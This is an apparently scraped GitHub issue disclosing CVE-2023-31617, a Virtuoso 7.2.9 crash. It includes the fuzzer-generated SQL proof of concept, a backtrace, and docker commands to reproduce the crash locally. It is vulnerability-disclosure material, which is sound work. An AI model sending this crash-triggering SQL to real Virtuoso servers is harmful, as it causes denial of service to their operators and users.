# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31617: virtuoso 7.2.9 crashed at dk_set_delete · Issue #1127 · openlink/virtuoso-opensource

An issue in the __libc_longjmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at \_\_libc\_longjmp #1119**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE hist (
  cnt VARCHAR NOT NULL,
  y VARCHAR NOT NULL,
  z VARCHAR,
  PRIMARY KEY (cnt,y)
);
CREATE TABLE t19d AS (SELECT \* FROM hist UNION ALL SELECT 1234);

backtrace:

#0 0x7f523bf87dbe (\_\_libc\_longjmp+0xde)
#1 0x5177d573a547bfaf -- no symbol name found

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

Tag

#dos